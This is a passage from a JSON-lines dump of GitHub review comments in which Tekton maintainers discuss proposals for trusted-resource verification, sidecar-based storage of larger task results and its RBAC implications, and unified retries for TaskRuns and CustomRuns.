"2022-08-08T19:33:02Z", "line": 267, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "Yongxuanzhang", "body": "This is the current validating webhook. I just updated it.", "comment_id": 940603070, "created_at": "2022-08-08T19:43:39Z", "line": null, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "Yongxuanzhang", "body": "Yeah that's what we want to include in this verification process, we need to fetch these resources", "comment_id": 940603541, "created_at": "2022-08-08T19:44:18Z", "line": 240, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "wlynch", "body": "Something to balance when thinking about webhook vs reconcile validation - validation before admission is the safer strategy because the resource can be blocked before downstream informers are aware of them.\r\n\r\nOther OCI based policy webhooks (OPA, Kyverno, sigstore/policy-controller) seem to do fine with network based lookups at admission time, though I get we also want to dedup fetching efforts between this and RemoteResolution.\r\n\r\nIf we go down the reconcile validation path, we should be careful about documenting when resources are considered trusted and how that information is exposed to users in the Run status (e.g. it might be worth having a dedicated termination status marking a Run as unverified?). Even then, there may still be some utility in a webhook based validation to make sure that the Run object itself hasn't been tampered with. \ud83e\udd14 ", "comment_id": 940615890, "created_at": "2022-08-08T20:01:03Z", "line": 195, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "wlynch", "body": "actually reading on below with the configmap, might need some more clarification", "comment_id": 940627427, "created_at": "2022-08-08T20:16:53Z", "line": null, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "Yongxuanzhang", "body": "oh thanks!", "comment_id": 940707582, "created_at": "2022-08-08T22:12:03Z", "line": 267, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "dibyom", "body": "Agreed with the caveats around reconciler based validation but I do think there is (or will be) a difference in the remote fetch between this webhook and OPA/policy controller - with remote resolution for resource fetches, the webhook will have to create a custom resource and then watch for update to its status as opposed to a sync HTTP request/response", "comment_id": 941416663, "created_at": "2022-08-09T14:30:42Z", "line": 195, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "Yongxuanzhang", "body": "> +1 for moving defaults to the reconciler - the less we mutate the config before verification the better.\r\n\r\nI think people may not like this idea but I will keep this as an option. Because it is kind of against the original desgin of admission webhooks? That is all the request objects need to be mutated and then validate, and some validating logic assume that this object must be mutated.\r\n\r\nWe encountered some issues recently that resources not go through the mutating will fail in validating.\r\nIf we move mutating into reconciler then what stored in etcd is not mutated and fully validated. \r\n\r\nIf we can do verification->mutating->verification then it may be better?", "comment_id": 941678658, "created_at": "2022-08-09T18:28:33Z", "line": 156, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "Yongxuanzhang", "body": "Just checked this repo. So `ClusterImagePolicy` is actually a new CRD created? Maybe to support multiple keys we can also have a new keyref type in tekton?", "comment_id": 941811779, "created_at": "2022-08-09T21:17:35Z", "line": 267, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "wlynch", "body": "What RBAC permissions would the controller need? Is it possible to only grant permissions to the Sidecar pod logs without granting access to the user container logs?", "comment_id": 908711240, "created_at": "2022-06-28T16:42:04Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "wlynch", "body": "How much resources does the sidecar need? (i.e. how much extra overhead will we be adding?)", "comment_id": 908729567, "created_at": "2022-06-28T16:53:55Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "wlynch", "body": "What requirements are we omitting from this proposal?", "comment_id": 908732616, "created_at": "2022-06-28T16:55:47Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "wlynch", "body": "Another alternative that might help with some of the sidecar issues mentioned above - OIDC API but using the entrypoint as the client instead of a dedicated sidecar.\r\n\r\n- You can reuse the existing Pod resources to handle the uploading (no additional sidecar overhead).\r\n- There's no ambiguity when the user container is complete.\r\n- Avoids concerns about result availability since the upload is done from the user Pod itself.", "comment_id": 908750455, "created_at": "2022-06-28T17:14:22Z", "line": 136, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "jerop", "body": "we are not omitting any requirements, we are only solving for some requirements with this solution in this proposal - other solutions will be added (from the alternatives) to address the other requirements \r\n\r\nthe requirement we're addressing is retaining the results within the CRDs", "comment_id": 908758853, "created_at": "2022-06-28T17:23:04Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "jerop", "body": "is it the same alternative described in https://github.com/tektoncd/community/blob/main/teps/0086-changing-the-way-result-parameters-are-stored.md#considerations? \r\n\r\nin that case, the OIDC approach involves storing the results externally (HTTP server) which is something we can explore alongside the solutions for external storage - which makes this alternative out of scope for this PR\r\n\r\ncc @pritidesai ", "comment_id": 908762313, "created_at": "2022-06-28T17:26:28Z", "line": 136, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "jerop", "body": "@chitrangpatel could you please measure this?", "comment_id": 908763235, "created_at": "2022-06-28T17:27:28Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "jerop", "body": "@chitrangpatel please look into whether this is possible in the POC", "comment_id": 908763991, "created_at": "2022-06-28T17:28:15Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "chitrangpatel", "body": "The controller needs to access the resource `pods/log` and requires `get` access. I don't think we can go finer than a pod (but I could be wrong). The sidecar runs in a different container in the the same pod as the other steps so in principle, the controller can access the logs of the other sidecars/steps in the same task. While accessing the logs, we need to provide the `pod` and the `container` name. ", "comment_id": 908765430, "created_at": "2022-06-28T17:29:47Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "wlynch", "body": "Similar, but without the Sidecar. You also don't need to store the results externally - the OIDC API can sit local on the cluster and write to the Results to the CRD similar to what's proposed with the log based approach. The OIDC bits are just to ensure that the upload requests are coming from the expected Pods.", "comment_id": 908769307, "created_at": "2022-06-28T17:34:42Z", "line": 136, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "pritidesai", "body": "thanks @wlynch who will be responsible for managing OIDC? Do we need a separate controller to manage the API? How would the pipeline controller work without access to openID? ", "comment_id": 908794211, "created_at": "2022-06-28T18:04:26Z", "line": 136, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "wlynch", "body": "This is a pretty large downside. \ud83d\ude22\r\n\r\nUser logs can contain PII and other sensitive information, so granting the Tekton Pipeline controller global read access to all Pod logs in the cluster (incl. non-Tekton pods) by default seems overreaching. IIRC, there's also no good way today to scope this dynamically or to only resources you create without granting the controller global RBAC modify permissions. \ud83d\ude2d ", "comment_id": 908796741, "created_at": "2022-06-28T18:07:47Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "pritidesai", "body": "Please elaborate this caveat. I am trying to understand this. When a `step` creates a `result` file:\r\n\r\n```\r\ntouch $(results.myResult.path)\r\n```\r\n\r\nNow, the same step writes to the file:\r\n\r\n```\r\necho -n \"my huge result\" > $(results.myResult.path)\r\n```\r\n\r\nWhere is the read happening? Is it part of the same `step`? or is it the taskrun controller reading the results? But then results should not be available to taskrun controller until the task is declared successful. \ud83e\udd14 ", "comment_id": 908799733, "created_at": "2022-06-28T18:11:28Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "pritidesai", "body": "This is a very common case. We can impose the restriction mentioned in https://github.com/tektoncd/pipeline/issues/3497 but even with this restriction, we will have to find a way to fail instead of letting it time out.", "comment_id": 908801714, "created_at": "2022-06-28T18:14:03Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "pritidesai", "body": "Please elaborate this caveat. How is this kind of wait designed or implemented?", "comment_id": 908802745, "created_at": "2022-06-28T18:15:28Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "pritidesai", "body": "I wouldn't document saying the results can be 1.5MB. Complex tasks with multiple steps (which is generally the case) might take away sufficient storage space. We can document the limitation saying the maximum allowed result size depends on the CRD, the max allowed CRD size - the actual CRD size. Also, this is split among all the results of a task.\r\n\r\nHow is the storage size distributed if my task has multiple results?", "comment_id": 908807573, "created_at": "2022-06-28T18:21:46Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "wlynch", "body": "IIRC, the rough plan was to use the built in cluster [service account token projection](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#service-account-token-volume-projection), then use the [TokenReview API](https://kubernetes.io/docs/reference/kubernetes-api/authentication-resources/token-review-v1/) to verify the token (or worst case verify via [OIDC discovery](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#service-account-issuer-discovery)) to authz requests coming from Pods. I think it's reasonable to require this, especially since it's been stable since 1.20 and I think most cloud providers have this enabled by default.\r\n\r\nTask output API would be hosted in a container controlled by Tekton itself, probably another Pod in the `tekton-pipelines` namespace so that it can have separate RBAC permissions from the controller.\r\n\r\ncc @tlawrie @mattmoor in case I missed anything.", "comment_id": 908808192, "created_at": "2022-06-28T18:22:36Z", "line": 136, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "chitrangpatel", "body": "I think this was a worry before we implemented the POC @jerop. \r\n\r\nThis is what happens currently:\r\n\r\nThe sidecar runs a script that periodically(every second) executes the following logic:\r\n1. Look for new files (aka. result names) in the directory `/tekton/results`.\r\n2. It keeps a tally of which result (a file in the above directory) it has already checked. This way, each result is only checked once.\r\n3. When a new result is found, it prints it to stdout in a parsable fashion.\r\n4. When all the expected results are looked at, it breaks out of the periodic loop and exits.\r\n\r\nOn the controller side, every time the reconcile loop runs, the task run controller does the following:\r\n1. Look at the logs of the `results-sidecar` in the task pod.\r\n2. Parse the logs (instead of the termination message) and convert them to results.\r\n3. Attach the results to the task run status.\r\nThere is no wait time, it executes with the controller loop. \r\n", "comment_id": 908815049, "created_at": "2022-06-28T18:31:03Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "chitrangpatel", "body": "I think this was also my worry while I was thinking through the logic. In practice, when a step errors out, I think the controller kills all the sidecar and step containers and fails the task. I don't think timeout is a worry. I will update the text here. I will add some examples to demonstrate this.", "comment_id": 908817050, "created_at": "2022-06-28T18:33:28Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "chitrangpatel", "body": "The sidecar runs a script that periodically(every second) executes the following logic:\r\n\r\n1. Look for new files (aka. result names) in the directory /tekton/results.\r\n2. It keeps a tally of which result (a file in the above directory) it has already checked. This way, each result is only checked once.\r\n3. When a new result is found, it prints it to stdout in a parsable fashion.\r\n4. When all the expected results are looked at, it breaks out of the periodic loop and exits.\r\n\r\nBecause of this flow, if the sidecar happens to find a file with missing or partial contents, it will think it has already read the results and not re-read it the next time. \r\n\r\nThere is a way to get around this by computing the hash of the file contents and ensuring that there is content in the files and when the contents stop changing after a few 1-s loops, we can assume that the results have been written completely. This might add a slight delay but should be safer. ", "comment_id": 908822396, "created_at": "2022-06-28T18:40:27Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "chitrangpatel", "body": "I agree with your statement. There is no firm upper limit to the results. As long as the total CRD limit is not crossed, its fair game. If we have 100s of results, that we store in the CRD then they have to share the CRD limit.", "comment_id": 908823602, "created_at": "2022-06-28T18:42:02Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "jerop", "body": "@wlynch thanks for sharing this alternative - it sounds worthwhile pursing and was wondering if you could add it to the alternatives listed in https://github.com/tektoncd/community/blob/main/teps/0086-changing-the-way-result-parameters-are-stored.md#alternatives \ud83d\ude4f\ud83c\udffe ", "comment_id": 908888055, "created_at": "2022-06-28T19:57:11Z", "line": 136, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "chitrangpatel", "body": "I agree. ", "comment_id": 908945735, "created_at": "2022-06-28T20:56:32Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "jerop", "body": "that makes it much clearer, updated this caveat", "comment_id": 909025744, "created_at": "2022-06-28T21:50:46Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "jerop", "body": "removed this caveat and updated the workflow to reflect that we're not just looking at the new results - left out the implementation details - thanks @chitrangpatel and @pritidesai", "comment_id": 909026298, "created_at": "2022-06-28T21:51:47Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "jerop", "body": "removed this caveat and updated the workflow to reflect that we're not just looking at the new results - left out the implementation details - thanks @chitrangpatel and @pritidesai", "comment_id": 909028154, "created_at": "2022-06-28T21:54:53Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "jerop", "body": "cc @vinamra28 ", "comment_id": 909607865, "created_at": "2022-06-29T13:06:03Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "pritidesai", "body": "I would like to understand this in a little more detail. Does the pipeline controller require `get` access to the `pod` which is created for executing the task which is producing the result or this is in general umbrella kind of access given to `get` logs from any pod in the cluster from any namespace?", "comment_id": 910207420, "created_at": "2022-06-29T17:02:54Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "pritidesai", "body": "Logs are anyways not the ideal place to store/echo any sensitive information specially if its a plaintext logs \ud83e\udd23 but this best practice is often ignored \ud83d\ude04 ", "comment_id": 910210975, "created_at": "2022-06-29T17:07:09Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "chitrangpatel", "body": "> I would like to understand this in a little more detail. Does the pipeline controller require `get` access to the `pod` which is created for executing the task which is producing the result or this is in general umbrella kind of access given to `get` logs from any pod in the cluster from any namespace?\r\n\r\nThe permissions needed to be provided here: https://github.com/chitrangpatel/pipeline/blob/04a3d6edf9c857524f0794046655867513cf67bb/config/200-clusterrole.yaml#L26-L27\r\n\r\nBut this grants permissions to be able to get the logs of any pod provided you know the pod name and container name. ", "comment_id": 910233246, "created_at": "2022-06-29T17:33:30Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "pritidesai", "body": "I am not sure how granting this global permission can be implemented behind a feature flag? We can implement the feature flag in the controller to disallow reading of such logs but the cluster wide permissions might have already granted irrespective of the controller feature flag?", "comment_id": 910273587, "created_at": "2022-06-29T18:22:56Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "chitrangpatel", "body": "I see what you mean. This configuration is orthogonal to the feature flag. Let me investigate if we can update the RBAC permissions on the fly from the controller when we generate the sidecar. ", "comment_id": 910283843, "created_at": "2022-06-29T18:35:34Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "dibyom", "body": "we probably don't want the controller or something in Tekton to have the permission to add RBAC configurations. One way might be that we can add a separate role just for this feature. To enable the feature, users have to bind this role to the controller's service account along with setting the feature flag.\r\n\r\nRe: permission to logs - I agree global access is less than ideal but the controller already has read access to secrets across the cluster", "comment_id": 911124723, "created_at": "2022-06-30T14:51:18Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "chitrangpatel", "body": "@dibyom that's a much better way. Thanks!\r\nI did not appreciate that the controller had access to the secrets. They probably contain more sensitive information that the logs. ", "comment_id": 911168955, "created_at": "2022-06-30T15:31:05Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "chitrangpatel", "body": "I made this change in the [POC](https://github.com/chitrangpatel/pipeline/blob/POC-larger-results-sidecar-logs/config/200-clusterrole.yaml). ", "comment_id": 911190069, "created_at": "2022-06-30T15:50:30Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "imjasonh", "body": "> Re: permission to logs - I agree global access is less than ideal but the controller already has read access to secrets across the cluster\r\n\r\nI don't consider this a compelling reason to further expand our access to the cluster. We should work to reduce our permissions so that Tekton can be used in more environments, not use our existing overly-broad access to justify even more access going forward.", "comment_id": 911207441, "created_at": "2022-06-30T16:05:03Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "dibyom", "body": "+1 this sounds promising, we should add it to the alternatives and see if we can try out a PoC for this approach", "comment_id": 911341550, "created_at": "2022-06-30T18:37:09Z", "line": 136, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "chitrangpatel", "body": "Correction.\r\nIf a step fails (ie. crashes), the sidecar will be killed by the controller.\r\nHowever, if a step runs successfully, just does not write out the results, then the sidecar continues to run until it times out because its looking for the result. I will see if I can send out a kill signal to the sidecar if all the steps have successfully completed.", "comment_id": 930022866, "created_at": "2022-07-26T14:16:35Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "chitrangpatel", "body": "Ok. I fixed this behaviour. The sidecar will be stopped by the controller with `nop image` and error it out immediately instead of waiting for it to timeout. ", "comment_id": 930097992, "created_at": "2022-07-26T15:18:35Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "chitrangpatel", "body": "I will provide a suggestion for the text.", "comment_id": 930098434, "created_at": "2022-07-26T15:18:56Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "chitrangpatel", "body": "```suggestion\r\nIf a `Step` fails to produce a `Result`, the `controller` will Stop the sidecar with the `nopImage` and error out.\r\n```\r\nI think we can omit the line entirely since it is no longer a caveat.", "comment_id": 930101265, "created_at": "2022-07-26T15:21:22Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "dibyom", "body": "This sentence seems a bit out of place", "comment_id": 937172411, "created_at": "2022-08-03T21:59:08Z", "line": 419, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "dibyom", "body": "We should also note the RBAC considerations mentioned above", "comment_id": 937199150, "created_at": "2022-08-03T22:51:32Z", "line": 432, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "dibyom", "body": "+1 In general, I'd like us to decouple the storing results outside the CRD problem from the results can only be a few KB problem. I think being able to store results above a few KB will unlock quite a few use cases regardless of whether the result is stored in the CRD or not. And storing it in the CRD is a great first step since we don't have to figure out the interfaces for fetching results from external storage either.\r\n\r\nThat being said, we should also experiment with other ways of getting these larger results from the TaskRun onto the CRD e.g. sending results over HTTPS", "comment_id": 937210410, "created_at": "2022-08-03T23:17:01Z", "line": 412, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 745, "repo": "community"} +{"author": "jerop", "body": "```suggestion\r\n- The implementation pattern of the `retry` functionality should be unified across all run time objects.\r\n```", "comment_id": 971063948, "created_at": "2022-09-14T16:42:59Z", "line": null, "path": "teps/0121-unified-retries-for-runtime-objects.md", "pr_number": 816, "repo": "community"} +{"author": "jerop", "body": "you can remove bamboo and dagger if there's no related work in those solutions", "comment_id": 971065035, "created_at": "2022-09-14T16:44:05Z", "line": null, "path": "teps/0121-unified-retries-for-runtime-objects.md", "pr_number": 816, "repo": "community"} +{"author": "jerop", "body": "hoping the work in improving embedded status from child runs in TEP-0100 can help here\r\n\r\nhttps://github.com/tektoncd/community/blob/main/teps/0100-embedded-taskruns-and-runs-status-in-pipelineruns.md\r\n", "comment_id": 971066993, "created_at": "2022-09-14T16:46:19Z", "line": null, "path": "teps/0121-unified-retries-for-runtime-objects.md", "pr_number": 816, "repo": "community"} +{"author": "jerop", "body": "for Runs, we can only provide a recommendation that aligns with what we do in TaskRuns, but believe we should leave it up to the users to implement a retry functionality that works for their use cases - this was discussed in https://github.com/tektoncd/community/blob/main/teps/0069-support-retries-for-custom-task-in-a-pipeline.md", "comment_id": 971070822, "created_at": "2022-09-14T16:50:10Z", "line": null, "path": "teps/0121-unified-retries-for-runtime-objects.md", "pr_number": 816, "repo": "community"} +{"author": "dibyom", "body": "I think having each controller implement retry functionality is fine. The large retryStatus is a concern but I do not think that should be the only reason why we decide on one implementation or the other. If the large size limits is a concern, we can see if there are ways to reduce the `retriesStatus` size.", "comment_id": 972232764, "created_at": "2022-09-15T17:01:08Z", "line": null, "path": "teps/0121-unified-retries-for-runtime-objects.md", "pr_number": 816, "repo": "community"} +{"author": "dibyom", "body": "This does simplify the implementation but it does not allow custom run controllers to implement specialized retries (as described in the first alternative here: https://github.com/tektoncd/community/blob/main/teps/0069-support-retries-for-custom-task-in-a-pipeline.md#alternatives)", "comment_id": 972235541, "created_at": "2022-09-15T17:04:22Z", "line": null, "path": "teps/0121-unified-retries-for-runtime-objects.md", "pr_number": 816, "repo": "community"} +{"author": "lbernick", "body": "One alternative that's not discussed in the TEP is allowing customruns with specialized retry logic to configure that via the custom task spec. The main reason I prefer having retries implemented by the pipelinerun is that I don't think `retries` belong in `customRun.spec.retries` (as opposed to `customRun.spec.customSpec`), since not every custom task has a concept of retries.", "comment_id": 972238499, "created_at": "2022-09-15T17:08:06Z", "line": null, "path": "teps/0121-unified-retries-for-runtime-objects.md", "pr_number": 816, "repo": "community"} +{"author": "XinruZhang", "body": "Thanks for the comment! That's also what I thought but the meaning it expresses seems misleading lol, I rephrased it to reflect the idea.", "comment_id": 972261082, "created_at": "2022-09-15T17:32:47Z", "line": null, "path": "teps/0121-unified-retries-for-runtime-objects.md", "pr_number": 816, "repo": "community"} +{"author": "XinruZhang", "body": "SG, done!", "comment_id": 972261263, "created_at": "2022-09-15T17:32:59Z", "line": null, "path": "teps/0121-unified-retries-for-runtime-objects.md", "pr_number": 816, "repo": "community"} +{"author": "dibyom", "body": "Wouldn't that mean that for custom tasks that have a concept of specialized retries, a user would have to choose between which retry field to specify?\r\nI think we should be clearer around what the behavior should be if a custom task does not specify a retry - maybe it should fail the run or provide a warning?", "comment_id": 972320194, "created_at": "2022-09-15T18:47:08Z", "line": null, "path": "teps/0121-unified-retries-for-runtime-objects.md", "pr_number": 816, "repo": "community"} +{"author": "XinruZhang", "body": "Agreed, updated the doc to list all of the options to go and marked the prefered way.", "comment_id": 972399248, "created_at": "2022-09-15T20:36:35Z", "line": null, "path": "teps/0121-unified-retries-for-runtime-objects.md", "pr_number": 816, "repo": "community"} +{"author": "XinruZhang", "body": "Thanks~ Put it under the references, we'll probably need to deal with the large CRD issue in the future.", "comment_id": 975672476, "created_at": "2022-09-20T18:07:58Z", "line": null, "path": "teps/0121-unified-retries-for-runtime-objects.md", "pr_number": 816, "repo": "community"} +{"author": "XinruZhang", "body": "Thanks for all of your comments @dibyom and @lbernick.\r\n\r\n> it does not allow custom run controllers to implement specialized retries (as described in the first alternative here\r\n\r\nThanks for the pointer @dibyom , added this information to the first alternative.\r\n\r\n> One alternative that's not discussed in the TEP is allowing customruns with specialized retry logic to configure that via the custom task spec. \r\n\r\nThanks for the comment @lbernick, as [discussed in the API WG](https://docs.google.com/document/d/17PodAxG8hV351fBhSu7Y_OIPhGTVgj6OJ2lPphYYRpU/edit#bookmark=id.hwc5acp8tkm), we expect every custom run controller to support retries. Put this as the sencond alternatives of this proposal.\r\n\r\n> it does not allow custom run controllers to implement specialized retries.\r\n\r\nThanks for the pointer Dibyo, indeed, added this information to the alternatives.\r\n\r\n> Wouldn't that mean that for custom tasks that have a concept of specialized retries, a user would have to choose between which retry field to specify?\r\n\r\nPut it as a concern of the second alternative of this TEP, this is truely not quite user-friendly.", "comment_id": 975683812, "created_at": "2022-09-20T18:21:34Z", "line": null, "path": "teps/0121-unified-retries-for-runtime-objects.md", "pr_number": 816, "repo": "community"} +{"author": "lbernick", "body": "It seems like a non goal here would be to define retries behavior for pipelineruns within pipelineruns?", "comment_id": 976905862, "created_at": "2022-09-21T19:20:59Z", "line": null, "path": "teps/0121-unified-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "lbernick", "body": "Could you please separate runs and taskruns use cases here? \r\n\r\nThe reason is that we are implementing taskrun retries because we believe there is a use case for it.\r\nWe are keeping retries in runs not because we believe there is a use case for it, but because we believe it is important for all runs to support retries.\r\n\r\nThe reason I'm asking for this is because I want to make it clear that we don't have a precedent for adding new fields to custom run spec just because some custom runs might need them-- the bar is that *all* custom runs need to support the fields we have in there.", "comment_id": 976907440, "created_at": "2022-09-21T19:23:04Z", "line": null, "path": "teps/0121-unified-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "lbernick", "body": "I'm still not completely convinced that there's a use case for taskruns to retry on their own-- nobody has requested this feature AFAIK and I'd imagine that most taskruns people want to retry are part of a pipelinerun. However it does seem reasonable that some people might want to retry the taskruns listed here.", "comment_id": 976908878, "created_at": "2022-09-21T19:24:51Z", "line": null, "path": "teps/0121-unified-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "lbernick", "body": "I think it would be helpful to provide an example here", "comment_id": 976909124, "created_at": "2022-09-21T19:25:10Z", "line": null, "path": "teps/0121-unified-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "lbernick", "body": "Should we make this change to guidance for custom runs only for v1beta1.CustomRun, and not v1alpha1.Run? Or does it even matter, since we're just passing the timeout directly to the run? Maybe we can say that custom run controllers should interpret timeout as being for each individual attempt, and specify in their docs if this is not the case?", "comment_id": 976910553, "created_at": "2022-09-21T19:27:00Z", "line": null, "path": "teps/0121-unified-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "lbernick", "body": "I think this doesn't prevent custom run controllers from implementing specialized retries, the problem is just that users wouldn't know which retries option to use.", "comment_id": 976914653, "created_at": "2022-09-21T19:32:26Z", "line": null, "path": "teps/0121-unified-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "lbernick", "body": "With the proposed option, I think we should strongly consider removing retriesStatus from CustomRun status (while still keeping retries in the spec). this will allow customRun controllers to implement retries however they want and prevent the pipelinerun controller from making assumptions about how retries are implemented.", "comment_id": 977083099, "created_at": "2022-09-22T00:31:50Z", "line": null, "path": "teps/0121-unified-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "XinruZhang", "body": "Thanks for the comment @lbernick. I truly appreciate that you are so responsible about maintaining the correct course of new feature development.\r\n\r\nI'm not sure why would we like to separate runs and taskruns? Why would we believe that all custom runs need to support the \"retries\" field while we don't necessarily need to support `retries` for all Task Runs.\r\n\r\nCreating feature requests is not an effortless action. I think people may not bother to create feature requests for stand-alone TaskRuns potentially because they can actually write scripts to retry them. By supporting retries natively, we can group their retry attempts all together, saving them times on writing scripts etc.\r\n\r\nTransient errors are everywhere especially in the Cloud Environment, services can be down for a short peirod of time making the entire TaskRun fails. I truly believe retry is something necessary for TaskRuns to avoid flaky errors.", "comment_id": 977596390, "created_at": "2022-09-22T12:31:13Z", "line": null, "path": "teps/0121-unified-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "XinruZhang", "body": "https://learn.microsoft.com/en-us/azure/architecture/best-practices/transient-faults#why-do-transient-faults-occur-in-the-cloud explained how common the transient errors are in the Cloud env. It deepened my understanding about the nature of Cloud Services and how to make things more stable. Hope it to be helpful.", "comment_id": 977606334, "created_at": "2022-09-22T12:41:22Z", "line": null, "path": "teps/0121-unified-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "XinruZhang", "body": "That's a great question. I would prefer we need to clarify, and need to do it for both versions. \r\n\r\nIt matters. We need to guide developer how to implement it because we need to build a protocol between pipelinerun controller and customrun controller, so that in pipelinerun controller, we are able to know when the Run finished, or should be retried, based on the `retries` and `retriesStatus`.\r\n\r\nThe reason that we need to clarify it in v1alpha1.Run is our current [implementation](https://github.com/tektoncd/pipeline/blob/e1fd72720652fa5a1b7f811a6ce1d6c943be11a6/pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go#L198) of the `retries` in v1alpha1.Run is different from what's documented as @jerop pointed out previously.", "comment_id": 977615134, "created_at": "2022-09-22T12:50:01Z", "line": null, "path": "teps/0121-unified-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "XinruZhang", "body": "Let's move the conversation to [this comment thread](https://github.com/tektoncd/community/pull/816#discussion_r976907440) for better discussion.", "comment_id": 977618160, "created_at": "2022-09-22T12:52:57Z", "line": null, "path": 